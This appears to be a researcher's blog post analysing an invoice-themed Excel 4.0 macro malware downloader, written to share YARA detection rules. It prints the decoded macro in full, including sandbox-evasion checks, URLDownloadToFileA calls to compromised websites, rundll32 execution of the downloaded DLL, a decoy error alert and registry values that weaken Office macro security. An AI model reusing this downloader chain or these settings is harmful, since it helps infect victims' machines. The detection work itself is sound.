[Custom #YARA ] #XLS #macro based #malware downloader using URLDownloadToFileA
Received numbers of sample submission of invoice themed XLS which are not getting detected on VT properly using any reputed Anti Virus engine. There is nothing abnormal happening except it is showing following screen when opened.
Pretty unusual - huh !
So, after finding few sample which is successfully evading anti virus detection, started analyzing it deeper. If you need for of the samples check below, and you know the password :-)
Download here
When try to get / decrypt the Macro, 1stwe failed to decode as it was too much encoded with char() . Later, successfully decoded it and found it is using known but never patched method to exploit and evade using URLDownloadToFileA function in macro. And, to be specific, that is the only IOC which is static on all variants.
OLE Dumped
And decoded the macro successfully.
SET.VALUE(Sheet2!IU50054,"603.5")
GOTO(GC58642)
SET.VALUE(Sheet2!FJ520,"-266")
GOTO(HQ50120)
SET.VALUE(Sheet2!AL37792,"-70.5")
RUN(Sheet2!FT7151)
SET.VALUE(Sheet2!DD20793,"187")
RUN(Sheet2!FE47168)
SET.VALUE(Sheet2!ET28189,"-112")
RUN(Sheet2!BN31589)
SET.VALUE(Sheet2!DA45099,"-233")
RUN(Sheet2!CK5515)
SET.VALUE(Sheet2!CX60873,"38")
RUN(Sheet2!DN30160)
SET.VALUE(Sheet2!IM61116,"-181")
RUN(Sheet2!CR57286)
SET.VALUE(Sheet2!FI55763,"485")
GOTO(BI3343)
SET.VALUE(Sheet2!HU4013,"-392")
RUN(Sheet2!GL24843)
FORMULA.FILL("=CLOSE(FALSE)",Sheet2!AP2874)
RUN(Sheet2!DR50273)
FORMULA.FILL("=APP.MAXIMIZE()",Sheet2!DR50274)
APP.MAXIMIZE()
GOTO(BY60756)
FORMULA.FILL("=IF(GET.WINDOW(7),GOTO(R[-57883]C[-35]),)",Sheet2!BY60757)
IF(GET.WINDOW(7),GOTO(R[-57883]C[-35]),)
[TRUE] GOTO(R[-57883]C[-35])
CLOSE(FALSE)
[FALSE]
GOTO(AR17888)
FORMULA.FILL("=IF(GET.WINDOW(20),,GOTO(R[-15015]C[-2]))",Sheet2!AR17889)
IF(GET.WINDOW(20),,GOTO(R[-15015]C[-2]))
[TRUE]
GOTO(IC38647)
FORMULA.FILL("=IF(GET.WINDOW(23)<3,GOTO(R[-35774]C[-195]),)",Sheet2!IC38648)
IF(GET.WINDOW(23)<3,GOTO(R[-35774]C[-195]),)
[TRUE] GOTO(R[-35774]C[-195])
CLOSE(FALSE)
[FALSE]
GOTO(DL56235)
FORMULA.FILL("=IF(GET.WORKSPACE(31),GOTO(R[-53362]C[-74]),)",Sheet2!DL56236)
IF(GET.WORKSPACE(31),GOTO(R[-53362]C[-74]),)
GOTO(AI42329)
FORMULA.FILL("=IF(GET.WORKSPACE(13)<770,GOTO(R[-39456]C[7]),)",Sheet2!AI42330)
IF(GET.WORKSPACE(13)<770,GOTO(R[-39456]C[7]),)
[TRUE] GOTO(R[-39456]C[7])
CLOSE(FALSE)
[FALSE]
RUN(Sheet2!EC61077)
FORMULA.FILL("=IF(GET.WORKSPACE(14)<390,GOTO(R[-58204]C[-91]),)",Sheet2!EC61078)
IF(GET.WORKSPACE(14)<390,GOTO(R[-58204]C[-91]),)
[TRUE] GOTO(R[-58204]C[-91])
CLOSE(FALSE)
[FALSE]
GOTO(DV56081)
FORMULA.FILL("=IF(GET.WORKSPACE(19),,GOTO(R[-53208]C[-84]))",Sheet2!DV56082)
IF(GET.WORKSPACE(19),,GOTO(R[-53208]C[-84]))
RUN(Sheet2!BF5530)
FORMULA.FILL("=IF(GET.WORKSPACE(42),,GOTO(R[-2657]C[-16]))",Sheet2!BF5531)
IF(GET.WORKSPACE(42),,GOTO(R[-2657]C[-16]))
RUN(Sheet2!BW56518)
FORMULA.FILL("=IF(ISNUMBER(SEARCH(""Windows"",GET.WORKSPACE(1))),,GOTO(R[-53645]C[-33]))",Sheet2!BW56519)
IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),,GOTO(R[-53645]C[-33]))
GOTO(BA24640)
FORMULA.FILL("=""EXPORT HKCU\Software\Microsoft\Office\""",Sheet2!U29297)
GOTO(GS12483)
FORMULA.FILL("=""C:\Users\Public\BJQz.reg""",Sheet2!GG13083)
RUN(Sheet2!IH9923)
FORMULA.FILL("=R[11185]C[-200]&GET.WORKSPACE(2)&""\Excel\Security ""&R[-5029]C[-32]&"" /y""",Sheet2!HM18112)
RUN(Sheet2!BE37059)
FORMULA.FILL("=""C:\Windows\system32\reg.exe""",Sheet2!BR1070)
GOTO(DX36926)
FORMULA.FILL("=CALL(""Shell32"",""ShellExecuteA"",""JJCCCJJ"",0,""open"",R[-35857]C[-58],R[-18815]C[93],0,5)",Sheet2!DX36927)
CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open",BR1070,HM18112,0,5)
GOTO(IL24463)
FORMULA.FILL("=WHILE(ISERROR(FILES(R[-11383]C[-57])))",Sheet2!IL24466)
FORMULA.FILL("=WAIT(NOW()+""00:00:01"")",Sheet2!IL24467)
FORMULA.FILL("=NEXT()",Sheet2!IL24468)
WHILE(None)
WAIT(NOW()+"00:00:01")
NEXT()
RUN(Sheet2!HF58150)
FORMULA.FILL("=FOPEN(R[-45068]C[-25])",Sheet2!HF58151)
FOPEN(None)
RUN(Sheet2!EA52968)
FORMULA.FILL("=FPOS(R[5182]C[83],215)",Sheet2!EA52969)
FPOS(None,215)
GOTO(IL31788)
FORMULA.FILL("=FREAD(R[26362]C[-32],255)",Sheet2!IL31789)
FREAD(None,255)
RUN(Sheet2!GU34282)
FORMULA.FILL("=FCLOSE(R[23868]C[11])",Sheet2!GU34283)
FCLOSE(None)
GOTO(GD24554)
FORMULA.FILL("=FILE.DELETE(R[-11472]C[3])",Sheet2!GD24555)
FILE.DELETE(R[-11472]C[3])
RUN(Sheet2!AT9255)
FORMULA.FILL("=IF(ISNUMBER(SEARCH(""0001"",R[22533]C[200])),GOTO(R[-6382]C[-4]),)",Sheet2!AT9256)
IF(ISNUMBER(SEARCH("0001",R[22533]C[200])),GOTO(R[-6382]C[-4]),)
RUN(Sheet2!DJ39803)
FORMULA.FILL("=""C:\Users\Public\dmZKMu9.html""",Sheet2!DG45107)
RUN(Sheet2!HV56850)
FORMULA.FILL("=""https://docs.microsoft.com/en-us/officeupdates/office-msi-non-security-updates""",Sheet2!ER34659)
GOTO(Z3253)
FORMULA.FILL("=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,R[31405]C[122],R[41853]C[85],0,0)",Sheet2!Z3254)
CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,ER34659,DG45107,0,0)
GOTO(ES30940)
FORMULA.FILL("=FILES(R[14166]C[-38])",Sheet2!ES30941)
FILES(None)
RUN(Sheet2!FP21816)
FORMULA.FILL("=IF(ISERROR(R[9124]C[-23]),GOTO(R[-18943]C[-130]),)",Sheet2!FP21817)
IF(ISERROR(R[9124]C[-23]),GOTO(R[-18943]C[-130]),)
[TRUE] GOTO(R[-18943]C[-130])
CLOSE(FALSE)
[FALSE]
GOTO(N10779)
SET.VALUE(Sheet2!FX63533,"1128.75")
RUN(Sheet2!AD50594)
SET.VALUE(Sheet2!DB43942,"-352")
GOTO(DN12209)
SET.VALUE(Sheet2!FK3415,"-317")
GOTO(GN54489)
SET.VALUE(Sheet2!BC60123,"445")
GOTO(ET21636)
SET.VALUE(Sheet2!EU1370,"-486")
GOTO(K28169)
SET.VALUE(Sheet2!FS12907,"1.4")
RUN(Sheet2!DT52679)
SET.VALUE(Sheet2!DY58778,"-369")
RUN(Sheet2!DV60433)
SET.VALUE(Sheet2!FY48733,"2822")
RUN(Sheet2!GZ39514)
SET.VALUE(Sheet2!K41285,"-365")
RUN(Sheet2!FB7187)
SET.VALUE(Sheet2!HF50420,"310")
RUN(Sheet2!DE25860)
FORMULA.FILL("=""C:\Users\Public\gcVRxxj.html""",Sheet2!EP42683)
RUN(Sheet2!AA52168)
FORMULA.FILL("=""http://almakaaseb.com/wp-content/uploads/2020/05/wp-front.php""",Sheet2!DN14765)
RUN(Sheet2!AH39400)
FORMULA.FILL("=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,R[-41757]C[-8],R[-13839]C[20],0,0)",Sheet2!DV56522)
RUN(Sheet2!EB57810)
FORMULA.FILL("=FILES(R[-20704]C[106])",Sheet2!AN63387)
GOTO(X6830)
FORMULA.FILL("=IF(ISERROR(R[35824]C[15]),,RUN(R[6459]C[147]))",Sheet2!Y27563)
RUN(Sheet2!DX31918)
FORMULA.FILL("=""https://neebank.com/wp-content/uploads/2020/05/wp-front.php""",Sheet2!IQ9884)
GOTO(HV20034)
FORMULA.FILL("=CALL(""urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,R[-28492]C[124],R[4307]C[19],0,0)",Sheet2!DW38376)
GOTO(P41555)
FORMULA.FILL("=""The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.""",Sheet2!EL9811)
RUN(Sheet2!GJ26109)
FORMULA.FILL("=ALERT(R[-24211]C[-30])",Sheet2!FP34022)
RUN(Sheet2!BW52793)
FORMULA.FILL("=""C:\Windows\system32\rundll32.exe""",Sheet2!FK44585)
GOTO(HP32700)
FORMULA.FILL("=R[18663]C[27]&"",DllRegisterServer""",Sheet2!DO24020)
RUN(Sheet2!GX50702)
FORMULA.FILL("=CALL(""Shell32"",""ShellExecuteA"",""JJCCCJJ"",0,""open"",R[-8436]C[-54],R[-29001]C[-102],0,5)",Sheet2!HM53021)
RUN(Sheet2!DV56522)
CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,DN14765,EP42683,0,0)
GOTO(AN63387)
FILES(None)
GOTO(Y27563)
IF(ISERROR(R[35824]C[15]),,RUN(R[6459]C[147]))
[TRUE]
GOTO(IQ9884)
"https://neebank.com/wp-content/uploads/2020/05/wp-front.php"
GOTO(DW38376)
CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"""https://neebank.com/wp-content/uploads/2020/05/wp-front.php""",EP42683,0,0)
GOTO(EL9811)
"The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt."
GOTO(FP34022)
ALERT("""The workbook cannot be opened or repaired by Microsoft Excel because it's corrupt.""")
RUN(Sheet2!FK44585)
"C:\Windows\system32\rundll32.exe"
GOTO(DO24020)
EP42683,DllRegisterServer
GOTO(HM53021)
CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","""C:\Windows\system32\rundll32.exe""","EP42683,DllRegisterServer",0,5)
GOTO(AP2874)
CLOSE(FALSE)
[FALSE] RUN(Sheet2!FP34022)
ALERT(None)
RUN(Sheet2!FK44585)
"C:\Windows\system32\rundll32.exe"
GOTO(DO24020)
EP42683,DllRegisterServer
GOTO(HM53021)
CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","""C:\Windows\system32\rundll32.exe""","EP42683,DllRegisterServer",0,5)
GOTO(AP2874)
CLOSE(FALSE)
[FALSE] GOTO(R[-15015]C[-2])
CLOSE(FALSE)
Quite big and boring - but really interesting. So, once macro enabled, it is executing reg.exe and adding entry to windows registry
Process created: C:\Windows\SysWOW64\reg.exe C:\Windows\SysWOW64\reg.exe EXPORT HKCU\Software\Microsoft\Office\16.0\Excel\Security C:\Users\Public\5Gqo.reg /y
Following Entry added to Registry ( More still under analysis )
Windows Registry Editor Version 500
[HKEY_CURRENT_USER\Software\Microsoft\Office\140\Excel\Security]
"Level"=dword:00000000"
AccessVBOM"=dword:00000000
"VBAWarnings"=dword:00000000
"DisableAllActiveX"=dword:00000000
"UFIControls"=dword:00000000
"DataConnectionWarnings"=dword:00000000
"WorkbookLinkWarnings"=dword:00000000
"ExtensionHardening"=dword:00000000
"PackagerPrompt"=dword:00000000
[HKEY_CURRENT_USER\Software\Microsoft\Office\140\Excel\Security\filevalidation]
"Enable"=On
On the most samples I found - It is connecting with following 2 URLs till now, but numbers are increasing rapidly. Seems those are hacked WordPress websites.
Till now, it is acting as Evader and Exploiter. And as stated, not detected as virus at all by any AV engine. Once queries those sites, from those php files, a DLL file getting pushed. And, from the behavior what we understood, it is depending on the threat actor – which malware / backdoor they want to deliver as payload for persistent access and data dump. We found 2 of the dll files after analyzing few variants. But seems - it is more of Malware as a Service model, as all new samples coming with different compromised host and different malware behind it.
In few cased - seems they are using ZLOADER , but it is different on different cases.
There are increasing numbers of those kind of XLS files worldwide, seems a new wave of attack launched.
Testing a custom yara rules as I came up with some patterns.
[UPDATE] Yara rule testing is done . My yara rule is working well with present variant, whereas reputated AV on VirusTotal still not able to detect it. Microsoft published an advance hunting query for one variant on their blog, but that is more SHA value based - didn't like it personally. So, here is mine .
// Excel files with macros pushing registry and downloading malware
rule macro_downloader_v1
{
meta:
author = "Krishnendu Paul"
description = "Malware Pushing XLS detection May 2020 Stage 1"
strings:
$ole_marker = {D0 CF 11 E0 A1 B1 1A E1}
$meta_author = "Administrator"
$meta_app = "Excel"
$macro_s1 = {85 00 ?? ?? ?? ?? ?? ?? 01 01}
$macro_s2 = {85 00 ?? ?? ?? ?? ?? ?? 02 01}
condition:
$ole_marker at 0 and 1 of ($macro_s*) and all of ($meta_*) and filesize < 300000
}
rule macro_downloader_v2 //Stage 2 and 3 variants
{
meta:
author = "Krishnendu Paul"
description = "Malware Pushing XLS detection May 2020"
strings:
$meta_value1 = "##0\\)"
$meta_author = "Administrator"
$meta_app = "Excel"
condition:
all of ($meta_*) and filesize < 300000
}
Hope it helps.